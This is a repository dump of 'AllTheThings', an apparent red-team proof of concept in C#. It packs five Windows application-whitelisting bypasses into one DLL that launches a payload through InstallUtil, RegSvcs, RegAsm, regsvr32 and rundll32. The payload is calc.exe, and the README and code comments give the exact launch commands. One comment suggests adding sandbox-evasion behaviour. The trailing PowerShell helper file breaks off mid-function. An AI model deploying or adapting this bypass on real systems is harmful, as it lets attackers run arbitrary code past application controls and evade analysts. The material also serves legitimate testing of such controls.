├── AllTheThings.sln ├── AllTheThings ├── AllTheThings.csproj ├── App.config ├── Program.cs ├── Properties │ └── AssemblyInfo.cs ├── bin │ ├── Debug │ │ ├── AllTheThings.exe │ │ ├── AllTheThings.exe.config │ │ ├── AllTheThings.pdb │ │ ├── AllTheThings.vshost.exe │ │ └── AllTheThings.vshost.exe.config │ ├── x64 │ │ ├── Debug │ │ │ ├── AllTheThings.exe.config │ │ │ ├── AllTheThings.vshost.exe │ │ │ └── AllTheThings.vshost.exe.config │ │ └── Release │ │ │ ├── AllTheThings.dll │ │ │ ├── AllTheThings.dll.config │ │ │ ├── AllTheThings.exp │ │ │ ├── AllTheThings.lib │ │ │ ├── AllTheThings.vshost.exe │ │ │ ├── AllTheThings.vshost.exe.config │ │ │ └── AllTheThings.vshost.exe.manifest │ └── x86 │ │ ├── Debug │ │ ├── AllTheThings.exe.config │ │ ├── AllTheThings.vshost.exe │ │ └── AllTheThings.vshost.exe.config │ │ └── Release │ │ ├── AllTheThings.exp │ │ ├── AllTheThings.lib │ │ ├── AllTheThings.vshost.exe │ │ ├── AllTheThings.vshost.exe.config │ │ └── AllTheThings.vshost.exe.manifest ├── key.snk ├── obj │ ├── Debug │ │ ├── AllTheThings.csproj.FileListAbsolute.txt │ │ ├── AllTheThings.csprojResolveAssemblyReference.cache │ │ ├── AllTheThings.exe │ │ ├── AllTheThings.pdb │ │ └── DesignTimeResolveAssemblyReferencesInput.cache │ ├── x64 │ │ ├── Debug │ │ │ ├── AllTheThings.csproj.FileListAbsolute.txt │ │ │ └── DesignTimeResolveAssemblyReferencesInput.cache │ │ └── Release │ │ │ ├── AllTheThings.csproj.FileListAbsolute.txt │ │ │ ├── AllTheThings.dll │ │ │ ├── AllTheThings.pdb │ │ │ └── DesignTimeResolveAssemblyReferencesInput.cache │ └── x86 │ │ ├── Debug │ │ ├── AllTheThings.csproj.FileListAbsolute.txt │ │ └── DesignTimeResolveAssemblyReferencesInput.cache │ │ └── Release │ │ └── DesignTimeResolveAssemblyReferencesInput.cache └── packages.config ├── LICENSE ├── README.md └── packages └── UnmanagedExports.1.2.7 ├── UnmanagedExports.1.2.7.nupkg ├── lib └── net │ └── RGiesecke.DllExport.Metadata.dll └── tools ├── DllExportCmdLets.psm1 ├── Mono.Cecil.dll ├── RGiesecke.DllExport.MSBuild.dll ├── RGiesecke.DllExport.MSBuild.pdb ├── RGiesecke.DllExport.dll ├── RGiesecke.DllExport.pdb ├── RGiesecke.DllExport.targets ├── init.ps1 ├── install.ps1 └── uninstall.ps1 /AllTheThings.sln: -------------------------------------------------------------------------------- 1 |  2 | Microsoft Visual Studio Solution File, Format Version 12.00 3 | # Visual Studio 14 4 | VisualStudioVersion = 14.0.25420.1 5 | MinimumVisualStudioVersion = 10.0.40219.1 6 | Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "AllTheThings", "AllTheThings\AllTheThings.csproj", "{0547FF40-5255-42A2-BEB7-2FF0DBF7D3BA}" 7 | EndProject 8 | Global 9 | GlobalSection(SolutionConfigurationPlatforms) = preSolution 10 | Debug|Any CPU = Debug|Any CPU 11 | Debug|x64 = Debug|x64 12 | Debug|x86 = Debug|x86 13 | Release|Any CPU = Release|Any CPU 14 | Release|x64 = Release|x64 15 | Release|x86 = Release|x86 16 | EndGlobalSection 17 | GlobalSection(ProjectConfigurationPlatforms) = postSolution 18 | {0547FF40-5255-42A2-BEB7-2FF0DBF7D3BA}.Debug|Any CPU.ActiveCfg = Debug|Any CPU 19 | {0547FF40-5255-42A2-BEB7-2FF0DBF7D3BA}.Debug|Any CPU.Build.0 = Debug|Any CPU 20 | {0547FF40-5255-42A2-BEB7-2FF0DBF7D3BA}.Debug|x64.ActiveCfg = Debug|x64 21 | {0547FF40-5255-42A2-BEB7-2FF0DBF7D3BA}.Debug|x64.Build.0 = Debug|x64 22 | {0547FF40-5255-42A2-BEB7-2FF0DBF7D3BA}.Debug|x86.ActiveCfg = Debug|x86 23 | {0547FF40-5255-42A2-BEB7-2FF0DBF7D3BA}.Debug|x86.Build.0 = Debug|x86 24 | {0547FF40-5255-42A2-BEB7-2FF0DBF7D3BA}.Release|Any CPU.ActiveCfg = Release|Any CPU 25 | {0547FF40-5255-42A2-BEB7-2FF0DBF7D3BA}.Release|Any CPU.Build.0 = Release|Any CPU 26 | {0547FF40-5255-42A2-BEB7-2FF0DBF7D3BA}.Release|x64.ActiveCfg = Release|x64 27 | {0547FF40-5255-42A2-BEB7-2FF0DBF7D3BA}.Release|x64.Build.0 = Release|x64 28 | {0547FF40-5255-42A2-BEB7-2FF0DBF7D3BA}.Release|x86.ActiveCfg = Release|x86 29 | {0547FF40-5255-42A2-BEB7-2FF0DBF7D3BA}.Release|x86.Build.0 = Release|x86 30 | EndGlobalSection 31 | GlobalSection(SolutionProperties) = preSolution 32 | HideSolutionNode = FALSE 33 | EndGlobalSection 34 | EndGlobal 35 | -------------------------------------------------------------------------------- /AllTheThings/AllTheThings.csproj: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | Debug 6 | AnyCPU 7 | {0547FF40-5255-42A2-BEB7-2FF0DBF7D3BA} 8 | Library 9 | Properties 10 | AllTheThings 11 | AllTheThings 12 | v4.5.2 13 | 512 14 | true 15 | 16 | 17 | AnyCPU 18 | true 19 | full 20 | false 21 | bin\Debug\ 22 | DEBUG;TRACE 23 | prompt 24 | 4 25 | 26 | 27 | AnyCPU 28 | pdbonly 29 | true 30 | bin\Release\ 31 | TRACE 32 | prompt 33 | 4 34 | 35 | 36 | true 37 | bin\x64\Debug\ 38 | DEBUG;TRACE 39 | full 40 | x64 41 | prompt 42 | MinimumRecommendedRules.ruleset 43 | true 44 | 45 | 46 | bin\x64\Release\ 47 | TRACE 48 | true 49 | pdbonly 50 | x64 51 | prompt 52 | MinimumRecommendedRules.ruleset 53 | true 54 | 55 | 56 | true 57 | bin\x86\Debug\ 58 | DEBUG;TRACE 59 | full 60 | x86 61 | prompt 62 | MinimumRecommendedRules.ruleset 63 | true 64 | 65 | 66 | bin\x86\Release\ 67 | TRACE 68 | true 69 | pdbonly 70 | x86 71 | prompt 72 | MinimumRecommendedRules.ruleset 73 | true 74 | 75 | 76 | 77 | 78 | 79 | true 80 | 81 | 82 | key.snk 83 | 84 | 85 | 86 | ..\packages\UnmanagedExports.1.2.7\lib\net\RGiesecke.DllExport.Metadata.dll 87 | False 88 | 89 | 90 | 91 | 92 | 93 | 94 | 95 | 96 | 97 | 98 | 99 | 100 | 101 | 102 | 103 | 104 | 105 | 106 | 107 | 108 | 109 | 110 | 111 | 118 | -------------------------------------------------------------------------------- /AllTheThings/App.config: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | 6 | -------------------------------------------------------------------------------- /AllTheThings/Program.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Diagnostics; 3 | using System.Reflection; 4 | using System.Configuration.Install; 5 | using System.Runtime.InteropServices; 6 | using System.EnterpriseServices; 7 | using RGiesecke.DllExport; 8 | 9 | 10 | 11 | /* 12 | Author: Casey Smith, Twitter: @subTee 13 | License: BSD 3-Clause 14 | 15 | For Testing Binary Application Whitelisting Controls 16 | 17 | Includes 5 Known Application Whitelisting/ Application Control Bypass Techiniques in One File. 18 | 1. InstallUtil.exe 19 | 2. Regsvcs.exe 20 | 3. Regasm.exe 21 | 4. regsvr32.exe 22 | 5. rundll32.exe 23 | 24 | 25 | 26 | Usage: 27 | 1. 28 | x86 - C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=false /U AllTheThings.dll 29 | x64 - C:\Windows\Microsoft.NET\Framework64\v4.0.3031964\InstallUtil.exe /logfile= /LogToConsole=false /U AllTheThings.dll 30 | 2. 31 | x86 C:\Windows\Microsoft.NET\Framework\v4.0.30319\regsvcs.exe AllTheThings.dll 32 | x64 C:\Windows\Microsoft.NET\Framework64\v4.0.30319\regsvcs.exe AllTheThings.dll 33 | 3. 34 | x86 C:\Windows\Microsoft.NET\Framework\v4.0.30319\regasm.exe /U AllTheThings.dll 35 | x64 C:\Windows\Microsoft.NET\Framework64\v4.0.30319\regasm.exe /U AllTheThings.dll 36 | 37 | 4. 38 | regsvr32 /s /u AllTheThings.dll -->Calls DllUnregisterServer 39 | regsvr32 /s AllTheThings.dll --> Calls DllRegisterServer 40 | 5. 41 | rundll32 AllTheThings.dll,EntryPoint 42 | 43 | */ 44 | 45 | [assembly: ApplicationActivation(ActivationOption.Server)] 46 | [assembly: ApplicationAccessControl(false)] 47 | 48 | public class Program 49 | { 50 | public static void Main() 51 | { 52 | Console.WriteLine("Hello From Main...I Don't Do Anything"); 53 | //Add any behaviour here to throw off sandbox execution/analysts :) 54 | } 55 | 56 | } 57 | 58 | public class Thing0 59 | { 60 | public static void Exec() 61 | { 62 | ProcessStartInfo startInfo = new ProcessStartInfo(); 63 | startInfo.FileName = "calc.exe"; 64 | Process.Start(startInfo); 65 | } 66 | } 67 | 68 | [System.ComponentModel.RunInstaller(true)] 69 | public class Thing1 : System.Configuration.Install.Installer 70 | { 71 | //The Methods can be Uninstall/Install. Install is transactional, and really unnecessary. 72 | public override void Uninstall(System.Collections.IDictionary savedState) 73 | { 74 | 75 | Console.WriteLine("Hello There From Uninstall"); 76 | Thing0.Exec(); 77 | 78 | } 79 | 80 | } 81 | 82 | [ComVisible(true)] 83 | [Guid("31D2B969-7608-426E-9D8E-A09FC9A51680")] 84 | [ClassInterface(ClassInterfaceType.None)] 85 | [ProgId("dllguest.Bypass")] 86 | [Transaction(TransactionOption.Required)] 87 | public class Bypass : ServicedComponent 88 | { 89 | public Bypass() { Console.WriteLine("I am a basic COM Object"); } 90 | 91 | [ComRegisterFunction] //This executes if registration is successful 92 | public static void RegisterClass(string key) 93 | { 94 | Console.WriteLine("I shouldn't really execute"); 95 | Thing0.Exec(); 96 | } 97 | 98 | [ComUnregisterFunction] //This executes if registration fails 99 | public static void UnRegisterClass(string key) 100 | { 101 | Console.WriteLine("I shouldn't really execute either."); 102 | Thing0.Exec(); 103 | } 104 | 105 | public void Exec() { Thing0.Exec(); } 106 | } 107 | 108 | class Exports 109 | { 110 | 111 | // 112 | // 113 | //rundll32 entry point 114 | [DllExport("EntryPoint", CallingConvention = CallingConvention.StdCall)] 115 | public static void EntryPoint(IntPtr hwnd, IntPtr hinst, string lpszCmdLine, int nCmdShow) 116 | { 117 | Thing0.Exec(); 118 | } 119 | [DllExport("DllRegisterServer", CallingConvention = CallingConvention.StdCall)] 120 | public static void DllRegisterServer() 121 | { 122 | Thing0.Exec(); 123 | } 124 | [DllExport("DllUnregisterServer", CallingConvention = CallingConvention.StdCall)] 125 | public static void DllUnregisterServer() 126 | { 127 | Thing0.Exec(); 128 | } 129 | 130 | 131 | 132 | } 133 | -------------------------------------------------------------------------------- /AllTheThings/Properties/AssemblyInfo.cs: -------------------------------------------------------------------------------- 1 | using System.Reflection; 2 | using System.Runtime.CompilerServices; 3 | using System.Runtime.InteropServices; 4 | 5 | // General Information about an assembly is controlled through the following 6 | // set of attributes. Change these attribute values to modify the information 7 | // associated with an assembly. 8 | [assembly: AssemblyTitle("AllTheThings")] 9 | [assembly: AssemblyDescription("")] 10 | [assembly: AssemblyConfiguration("")] 11 | [assembly: AssemblyCompany("")] 12 | [assembly: AssemblyProduct("AllTheThings")] 13 | [assembly: AssemblyCopyright("Copyright © 2016")] 14 | [assembly: AssemblyTrademark("")] 15 | [assembly: AssemblyCulture("")] 16 | 17 | // Setting ComVisible to false makes the types in this assembly not visible 18 | // to COM components. If you need to access a type in this assembly from 19 | // COM, set the ComVisible attribute to true on that type. 20 | [assembly: ComVisible(false)] 21 | 22 | // The following GUID is for the ID of the typelib if this project is exposed to COM 23 | [assembly: Guid("0547ff40-5255-42a2-beb7-2ff0dbf7d3ba")] 24 | 25 | // Version information for an assembly consists of the following four values: 26 | // 27 | // Major Version 28 | // Minor Version 29 | // Build Number 30 | // Revision 31 | // 32 | // You can specify all the values or you can default the Build and Revision Numbers 33 | // by using the '*' as shown below: 34 | // [assembly: AssemblyVersion("1.0.*")] 35 | [assembly: AssemblyVersion("1.0.0.0")] 36 | [assembly: AssemblyFileVersion("1.0.0.0")] 37 | -------------------------------------------------------------------------------- /AllTheThings/bin/Debug/AllTheThings.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/johnjohnsp1/AllTheThings/075fde6140a935f5add0df0cd5c4417cdb5bdda9/AllTheThings/bin/Debug/AllTheThings.exe -------------------------------------------------------------------------------- /AllTheThings/bin/Debug/AllTheThings.exe.config: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | 6 | -------------------------------------------------------------------------------- /AllTheThings/bin/Debug/AllTheThings.pdb: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/johnjohnsp1/AllTheThings/075fde6140a935f5add0df0cd5c4417cdb5bdda9/AllTheThings/bin/Debug/AllTheThings.pdb -------------------------------------------------------------------------------- /AllTheThings/bin/Debug/AllTheThings.vshost.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/johnjohnsp1/AllTheThings/075fde6140a935f5add0df0cd5c4417cdb5bdda9/AllTheThings/bin/Debug/AllTheThings.vshost.exe -------------------------------------------------------------------------------- /AllTheThings/bin/Debug/AllTheThings.vshost.exe.config: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | 6 | -------------------------------------------------------------------------------- /AllTheThings/bin/x64/Debug/AllTheThings.exe.config: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | 6 | -------------------------------------------------------------------------------- /AllTheThings/bin/x64/Debug/AllTheThings.vshost.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/johnjohnsp1/AllTheThings/075fde6140a935f5add0df0cd5c4417cdb5bdda9/AllTheThings/bin/x64/Debug/AllTheThings.vshost.exe -------------------------------------------------------------------------------- /AllTheThings/bin/x64/Debug/AllTheThings.vshost.exe.config: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | 6 | -------------------------------------------------------------------------------- /AllTheThings/bin/x64/Release/AllTheThings.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/johnjohnsp1/AllTheThings/075fde6140a935f5add0df0cd5c4417cdb5bdda9/AllTheThings/bin/x64/Release/AllTheThings.dll -------------------------------------------------------------------------------- /AllTheThings/bin/x64/Release/AllTheThings.dll.config: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | 6 | -------------------------------------------------------------------------------- /AllTheThings/bin/x64/Release/AllTheThings.exp: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/johnjohnsp1/AllTheThings/075fde6140a935f5add0df0cd5c4417cdb5bdda9/AllTheThings/bin/x64/Release/AllTheThings.exp -------------------------------------------------------------------------------- /AllTheThings/bin/x64/Release/AllTheThings.lib: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/johnjohnsp1/AllTheThings/075fde6140a935f5add0df0cd5c4417cdb5bdda9/AllTheThings/bin/x64/Release/AllTheThings.lib -------------------------------------------------------------------------------- /AllTheThings/bin/x64/Release/AllTheThings.vshost.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/johnjohnsp1/AllTheThings/075fde6140a935f5add0df0cd5c4417cdb5bdda9/AllTheThings/bin/x64/Release/AllTheThings.vshost.exe -------------------------------------------------------------------------------- /AllTheThings/bin/x64/Release/AllTheThings.vshost.exe.config: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | 6 | -------------------------------------------------------------------------------- /AllTheThings/bin/x64/Release/AllTheThings.vshost.exe.manifest: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | -------------------------------------------------------------------------------- /AllTheThings/bin/x86/Debug/AllTheThings.exe.config: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | 6 | -------------------------------------------------------------------------------- /AllTheThings/bin/x86/Debug/AllTheThings.vshost.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/johnjohnsp1/AllTheThings/075fde6140a935f5add0df0cd5c4417cdb5bdda9/AllTheThings/bin/x86/Debug/AllTheThings.vshost.exe -------------------------------------------------------------------------------- /AllTheThings/bin/x86/Debug/AllTheThings.vshost.exe.config: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | 6 | -------------------------------------------------------------------------------- /AllTheThings/bin/x86/Release/AllTheThings.exp: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/johnjohnsp1/AllTheThings/075fde6140a935f5add0df0cd5c4417cdb5bdda9/AllTheThings/bin/x86/Release/AllTheThings.exp -------------------------------------------------------------------------------- /AllTheThings/bin/x86/Release/AllTheThings.lib: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/johnjohnsp1/AllTheThings/075fde6140a935f5add0df0cd5c4417cdb5bdda9/AllTheThings/bin/x86/Release/AllTheThings.lib -------------------------------------------------------------------------------- /AllTheThings/bin/x86/Release/AllTheThings.vshost.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/johnjohnsp1/AllTheThings/075fde6140a935f5add0df0cd5c4417cdb5bdda9/AllTheThings/bin/x86/Release/AllTheThings.vshost.exe -------------------------------------------------------------------------------- /AllTheThings/bin/x86/Release/AllTheThings.vshost.exe.config: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | 6 | -------------------------------------------------------------------------------- /AllTheThings/bin/x86/Release/AllTheThings.vshost.exe.manifest: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | -------------------------------------------------------------------------------- /AllTheThings/key.snk: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/johnjohnsp1/AllTheThings/075fde6140a935f5add0df0cd5c4417cdb5bdda9/AllTheThings/key.snk -------------------------------------------------------------------------------- /AllTheThings/obj/Debug/AllTheThings.csproj.FileListAbsolute.txt: -------------------------------------------------------------------------------- 1 | c:\users\subtee\documents\visual studio 2015\Projects\AllTheThings\AllTheThings\bin\Debug\AllTheThings.exe.config 2 | c:\users\subtee\documents\visual studio 2015\Projects\AllTheThings\AllTheThings\bin\Debug\AllTheThings.exe 3 | c:\users\subtee\documents\visual studio 2015\Projects\AllTheThings\AllTheThings\bin\Debug\AllTheThings.pdb 4 | c:\users\subtee\documents\visual studio 2015\Projects\AllTheThings\AllTheThings\obj\Debug\AllTheThings.csprojResolveAssemblyReference.cache 5 | c:\users\subtee\documents\visual studio 2015\Projects\AllTheThings\AllTheThings\obj\Debug\AllTheThings.exe 6 | c:\users\subtee\documents\visual studio 2015\Projects\AllTheThings\AllTheThings\obj\Debug\AllTheThings.pdb 7 | -------------------------------------------------------------------------------- /AllTheThings/obj/Debug/AllTheThings.csprojResolveAssemblyReference.cache: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/johnjohnsp1/AllTheThings/075fde6140a935f5add0df0cd5c4417cdb5bdda9/AllTheThings/obj/Debug/AllTheThings.csprojResolveAssemblyReference.cache -------------------------------------------------------------------------------- /AllTheThings/obj/Debug/AllTheThings.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/johnjohnsp1/AllTheThings/075fde6140a935f5add0df0cd5c4417cdb5bdda9/AllTheThings/obj/Debug/AllTheThings.exe -------------------------------------------------------------------------------- /AllTheThings/obj/Debug/AllTheThings.pdb: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/johnjohnsp1/AllTheThings/075fde6140a935f5add0df0cd5c4417cdb5bdda9/AllTheThings/obj/Debug/AllTheThings.pdb -------------------------------------------------------------------------------- /AllTheThings/obj/Debug/DesignTimeResolveAssemblyReferencesInput.cache: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/johnjohnsp1/AllTheThings/075fde6140a935f5add0df0cd5c4417cdb5bdda9/AllTheThings/obj/Debug/DesignTimeResolveAssemblyReferencesInput.cache -------------------------------------------------------------------------------- /AllTheThings/obj/x64/Debug/AllTheThings.csproj.FileListAbsolute.txt: -------------------------------------------------------------------------------- 1 | c:\users\subtee\documents\visual studio 2015\Projects\AllTheThings\AllTheThings\bin\x64\Debug\AllTheThings.exe.config 2 | -------------------------------------------------------------------------------- /AllTheThings/obj/x64/Debug/DesignTimeResolveAssemblyReferencesInput.cache: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/johnjohnsp1/AllTheThings/075fde6140a935f5add0df0cd5c4417cdb5bdda9/AllTheThings/obj/x64/Debug/DesignTimeResolveAssemblyReferencesInput.cache -------------------------------------------------------------------------------- /AllTheThings/obj/x64/Release/AllTheThings.csproj.FileListAbsolute.txt: -------------------------------------------------------------------------------- 1 | c:\users\subtee\documents\visual studio 2015\Projects\AllTheThings\AllTheThings\bin\x64\Release\AllTheThings.pdb 2 | c:\users\subtee\documents\visual studio 2015\Projects\AllTheThings\AllTheThings\obj\x64\Release\AllTheThings.pdb 3 | c:\users\subtee\documents\visual studio 2015\Projects\AllTheThings\AllTheThings\bin\x64\Release\AllTheThings.dll.config 4 | c:\users\subtee\documents\visual studio 2015\Projects\AllTheThings\AllTheThings\bin\x64\Release\AllTheThings.dll 5 | c:\users\subtee\documents\visual studio 2015\Projects\AllTheThings\AllTheThings\obj\x64\Release\AllTheThings.dll 6 | -------------------------------------------------------------------------------- /AllTheThings/obj/x64/Release/AllTheThings.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/johnjohnsp1/AllTheThings/075fde6140a935f5add0df0cd5c4417cdb5bdda9/AllTheThings/obj/x64/Release/AllTheThings.dll -------------------------------------------------------------------------------- /AllTheThings/obj/x64/Release/AllTheThings.pdb: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/johnjohnsp1/AllTheThings/075fde6140a935f5add0df0cd5c4417cdb5bdda9/AllTheThings/obj/x64/Release/AllTheThings.pdb -------------------------------------------------------------------------------- /AllTheThings/obj/x64/Release/DesignTimeResolveAssemblyReferencesInput.cache: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/johnjohnsp1/AllTheThings/075fde6140a935f5add0df0cd5c4417cdb5bdda9/AllTheThings/obj/x64/Release/DesignTimeResolveAssemblyReferencesInput.cache -------------------------------------------------------------------------------- /AllTheThings/obj/x86/Debug/AllTheThings.csproj.FileListAbsolute.txt: -------------------------------------------------------------------------------- 1 | c:\users\subtee\documents\visual studio 2015\Projects\AllTheThings\AllTheThings\bin\x86\Debug\AllTheThings.exe.config 2 | -------------------------------------------------------------------------------- /AllTheThings/obj/x86/Debug/DesignTimeResolveAssemblyReferencesInput.cache: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/johnjohnsp1/AllTheThings/075fde6140a935f5add0df0cd5c4417cdb5bdda9/AllTheThings/obj/x86/Debug/DesignTimeResolveAssemblyReferencesInput.cache -------------------------------------------------------------------------------- /AllTheThings/obj/x86/Release/DesignTimeResolveAssemblyReferencesInput.cache: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/johnjohnsp1/AllTheThings/075fde6140a935f5add0df0cd5c4417cdb5bdda9/AllTheThings/obj/x86/Release/DesignTimeResolveAssemblyReferencesInput.cache -------------------------------------------------------------------------------- /AllTheThings/packages.config: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | Copyright (c) 2016, Casey Smith 2 | All rights reserved. 3 | 4 | Redistribution and use in source and binary forms, with or without 5 | modification, are permitted provided that the following conditions are met: 6 | 7 | * Redistributions of source code must retain the above copyright notice, this 8 | list of conditions and the following disclaimer. 9 | 10 | * Redistributions in binary form must reproduce the above copyright notice, 11 | this list of conditions and the following disclaimer in the documentation 12 | and/or other materials provided with the distribution. 13 | 14 | * Neither the name of AllTheThings nor the names of its 15 | contributors may be used to endorse or promote products derived from 16 | this software without specific prior written permission. 17 | 18 | THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" 19 | AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE 20 | IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE 21 | DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE 22 | FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL 23 | DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR 24 | SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER 25 | CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, 26 | OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE 27 | OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. 28 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # AllTheThings 2 | 3 | ###Includes 5 Known Application Whitelisting Bypass Techniques in One File. 4 | 5 | ###1. InstallUtil.exe 6 | 7 | ###2. Regsvcs.exe 8 | 9 | ###3. Regasm.exe 10 | 11 | ###4. regsvr32.exe 12 | 13 | ###5. rundll32.exe 14 | 15 | 16 | 17 | #Usage: 18 | ##1. 19 | x86 - C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=false /U AllTheThings.dll 20 | 21 | x64 - C:\Windows\Microsoft.NET\Framework64\v4.0.3031964\InstallUtil.exe /logfile= /LogToConsole=false /U AllTheThings.dll 22 | ##2. 23 | 24 | x86 C:\Windows\Microsoft.NET\Framework\v4.0.30319\regsvcs.exe AllTheThings.dll 25 | 26 | x64 C:\Windows\Microsoft.NET\Framework64\v4.0.30319\regsvcs.exe AllTheThings.dll 27 | ##3. 28 | 29 | x86 C:\Windows\Microsoft.NET\Framework\v4.0.30319\regasm.exe /U AllTheThings.dll 30 | 31 | x64 C:\Windows\Microsoft.NET\Framework64\v4.0.30319\regasm.exe /U AllTheThings.dll 32 | 33 | ##4. 34 | 35 | regsvr32 /s /u AllTheThings.dll -->Calls DllUnregisterServer 36 | 37 | regsvr32 /s AllTheThings.dll --> Calls DllRegisterServer 38 | 39 | ##5. 40 | 41 | rundll32 AllTheThings.dll,EntryPoint 42 | -------------------------------------------------------------------------------- /packages/UnmanagedExports.1.2.7/UnmanagedExports.1.2.7.nupkg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/johnjohnsp1/AllTheThings/075fde6140a935f5add0df0cd5c4417cdb5bdda9/packages/UnmanagedExports.1.2.7/UnmanagedExports.1.2.7.nupkg -------------------------------------------------------------------------------- /packages/UnmanagedExports.1.2.7/lib/net/RGiesecke.DllExport.Metadata.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/johnjohnsp1/AllTheThings/075fde6140a935f5add0df0cd5c4417cdb5bdda9/packages/UnmanagedExports.1.2.7/lib/net/RGiesecke.DllExport.Metadata.dll -------------------------------------------------------------------------------- /packages/UnmanagedExports.1.2.7/tools/DllExportCmdLets.psm1: -------------------------------------------------------------------------------- 1 | function Remove-OldDllExportFolder { 2 | param($project) 3 | $defaultFiles = ('DllExportAttribute.cs', 4 | 'Mono.Cecil.dll', 5 | 'RGiesecke.DllExport.dll', 6 | 'RGiesecke.DllExport.pdb', 7 | 'RGiesecke.DllExport.MSBuild.dll', 8 | 'RGiesecke.DllExport.MSBuild.pdb', 9 | 'RGiesecke.DllExport.targets') 10 | 11 | $projectFile = New-Object 'System.IO.FileInfo'($project.FullName) 12 | 13 | $projectFile.Directory.GetDirectories("DllExport") | Select-Object -First 1 | % { 14 | $dllExportDir = $_ 15 | 16 | if($dllExportDir.GetDirectories().Count -eq 0){ 17 | $unknownFiles = $dllExportDir.GetFiles() | Select -ExpandProperty Name | ? { -not $defaultFiles -contains $_ } 18 | 19 | if(-not $unknownFiles){ 20 | Write-Host "Removing 'DllExport' from " $project.Name 21 | $project.ProjectItems | ? { $_.Name -ieq 'DllExport' } | % { 22 | $_.Remove() 23 | } 24 | 25 | Write-Host "Deleting " $dllExportDir.FullName " ..." 26 | $dllExportDir.Delete($true) 27 | } 28 | } 29 | } 30 | } 31 | 32 | function Remove-OldDllExportFolders { 33 | Get-Project -all | % { 34 | Remove-OldDllExportFolder $_ 35 | } 36 | } 37 | 38 | function Get-DllExportMsBuildProjectsByFullName([String] $fullName) { 39 | $msBuildV4Name = 'Microsoft.Build, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a'; 40 | $msBuildV4 = [System.Reflection.Assembly]::LoadWithPartialName($msBuildV4Name) 41 | 42 | if(!$msBuildV4) { 43 | throw New-Object 'System.IO.FileNotFoundException'("Could not load $msBuildV4Name.") 44 | } 45 | 46 | $projectCollection = $msBuildV4.GetType('Microsoft.Build.Evaluation.ProjectCollection') 47 | 48 | return $projectCollection::GlobalProjectCollection.GetLoadedProjects($fullName) 49 | } 50 | 51 | function Get-AllDllExportMsBuildProjects { 52 | (Get-Project -all | % { 53 | Get-DllExportMsBuildProjectsByFullName $_.FullName 54 | }) | ? { 55 | return ($_.Xml.Imports | ? { 56 | "RGiesecke.DllExport.targets" -ieq [System.IO.Path]::GetFileName($_.Project); 57 | }).Length -gt 0; 58 | } 59 | } 60 | 61 | function Assert-PlatformTargetOfProject([String] $fullName) { 62 | $proj = Get-DllExportMsBuildProjectsByFullName $fullName 63 | 64 | if(!$proj) { 65 | return; 66 | } 67 | 68 | $platformTarget = $proj.GetPropertyValue('PlatformTarget'); 69 | 70 | if(!$platformTarget -or ($platformTarget -ine 'x86' -and $platformTarget -ine 